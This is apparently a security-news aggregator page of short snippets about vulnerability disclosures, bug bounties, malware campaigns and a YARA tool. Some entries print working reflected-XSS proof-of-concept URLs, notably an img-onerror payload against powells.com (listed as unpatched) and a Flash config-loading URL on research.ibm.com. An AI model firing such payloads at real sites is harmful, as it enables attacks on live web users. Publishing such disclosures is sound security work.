Cisco EPC3925 UPC Modem / Router Default Passphrase

Cisco EPC3925 UPC modem/router default passphrase vulnerabilities ----------------------------------------------------------------- Platforms / Firmware confirmed affected: - Cisco EPC3925, ESIP-12-v302r125573-131230cupc Vulnerabilities --------------- Default SSID and passphrase can be calculate...

Research Library - Base64 encoded String, Customized SSL vulnerabilities

HackApp vulnerability scanner discovered that application Research Library published at the 'play' market has multiple vulnerabilities...

Fiat Chrysler Launches Bug Bounty with $1.5K Payout Cap

Hacking Jeeps is about to get a lot more competitive. That’s because Jeep maker Fiat Chrysler Automobiles has launched a bug bounty program in conjunction with Bugcrowd that will payout as much as $1,500 per bug. Fiat Chrysler, the world’s No. 7 automaker, claims it will be the first Detroit...

Sam Pfanstiel Appointed Director, Solution Architecture for Payments

Coalfire today announced Sam Pfanstiel has joined the company as the Director of Solution Architecture for Payments. Pfanstiels experience spans solution engineering and consulting as well as research and development positions...

Informatica: XXE at Informatica sub-domain

Researcher has identified and reported an XXE in one of our domain and helped us in resolving the issue...

Secret smart watch and fitness band how to leak your ATM password-vulnerability warning-the black bar safety net

! In this article at the beginning,I would like to start by asking you a simple question:your dominant hand is the left hand or right hand? This is a very simple question,this question will not bring you any loss. But the next question is not necessarily:are you in your dominant hand wearing a...

Android KeyStore Encryption Scheme Broken, Researchers Say

The default implementation for KeyStore, the system in Android designed to store user credentials and cryptographic keys, is broken, researchers say. In a an academic paper published this week, researchers argue that the particular encryption scheme that KeyStore uses fails to protect the integri...

Arbitrary File Download Vulnerability in Research Management System of Beijing Eplag Technology Co.

Beijing Eplag Technology Co., Ltd. scientific research management system is a set of informatization system applied to various scientific research institutes and colleges and other research institutions to carry out all-round scientific research management such as scientific research project...

The PhotoMiner Campaign

In this report we will share our research on the PhotoMiner’s timelines, infection strategies, C&C servers and provide tools to help detect the malware...

PT-2016-39: Information Disclosure in StruxureWare Data Center Expert

The specialists of the Positive Research center have detected an Information Disclosure vulnerability in StruxureWare Data Center Expert. Vulnerability in StruxureWare Data Center Expert allows attackers to obtain product passwords in cleartext by reading random access memory RAM. How to fix Upda...

Microsoft Bounty Program expansion - .NET Core and ASP.NET RC2 Beta Bounty

Today I have another exciting expansion of the Microsoft Bounty Program. Please visit https://aka.ms/BugBounty to find out more. As we approach release for .NET Core and ASP.NET, we would like to get even more feedback from the security research community. We are offering a bounty on the .NET Cor...

powells.com XSS vulnerability

Vulnerable URL: http://www.powells.com/AdvancedSearch.aspx?kw=%22%3E%3Cimg%20src=x%20onerror=prompt%28/OPENBUGBOUNTY/%29%3E=1=Search Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

ManageEngine SelfService Plus Cross Site Scripting

Exploit Title: Reflected XSS in ManageEngine SelfService Plus - 0day - Confirmed Google Dork: N/A Date: 29/5/2016 Exploit Author: Mohamed Saeed Contact: http://twitter.com/krmalab Website: http://www.dts-solution.com Vendor Homepage: https://www.manageengine.com/ Software Link:...

PT-2016-07: Unauthorized Access in Vesta Control Panel

The specialists of the Positive Research center have detected an Unauthorized Access vulnerability in Vesta Control Panel. Directory /web/filemanager/ contains scenarios which perform file manager operations in control panel. Scenario files.php lacks active user session checking that allows...

cnf.cornell.edu XSS vulnerability

Vulnerable URL: http://www.cnf.cornell.edu/cnf5search.taf Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check cnf.cornell.edu SSL...

research.ibm.com XSS vulnerability

Vulnerable URL: https://www.research.ibm.com/haifa/projects/systems/ple/rad/boss/4ListEditorcontroller.swf?csConfigFile=http://nsa.is.spying-on.us/hp.xml Details: Description| Value ---|--- Patched:| Yes, at 16.09.2016 Latest check for patch:| 16.09.2016 20:05 GMT Vulnerability type:| XSS...

Malware-Laced Porn Apps Behind Wave of Android Lockscreen Attacks

Incidents of Android lockscreen malware masquerading as porn apps are a growing concern to security analysts who are forecasting an uptick in attacks. Once infected, Android users bitten by this malware appear to be locked out of their device and are forced to undergo a complex extraction of the...

Want to Use Quantum Computer? IBM launches One for Free

In Brief What would you do if you get access to a Quantum Computer? IBM Scientists launches the world’s first cloud-based quantum computing technology, calling the IBM Quantum Experience, for anyone to use. It is an online simulator that lets anyone run algorithms and experiments on the company's...

NVV Ticket Krauth ATM - (NaN) Devide by Zero Vulnerability

Document Title: =============== NVV Ticket Krauth ATM - NaN Devide by Zero Vulnerability References: =========== http://www.vulnerability-lab.com/getcontent.php?id=1837 View Video: https://www.youtube.com/watch?v=iIT4gcboKjk Release Date: ============= 2016-04-25 Vulnerability Laboratory ID VL-ID...

Pattern Matching Swiss Knife: YARA

YARA is a tool aimed at but not limited to helping malware researchers to identify and classify malware samples. With YARA you can create descriptions of malware families or whatever you want to describe based on textual or binary patterns. Each description, a.k.a rule, consists of a set of strin...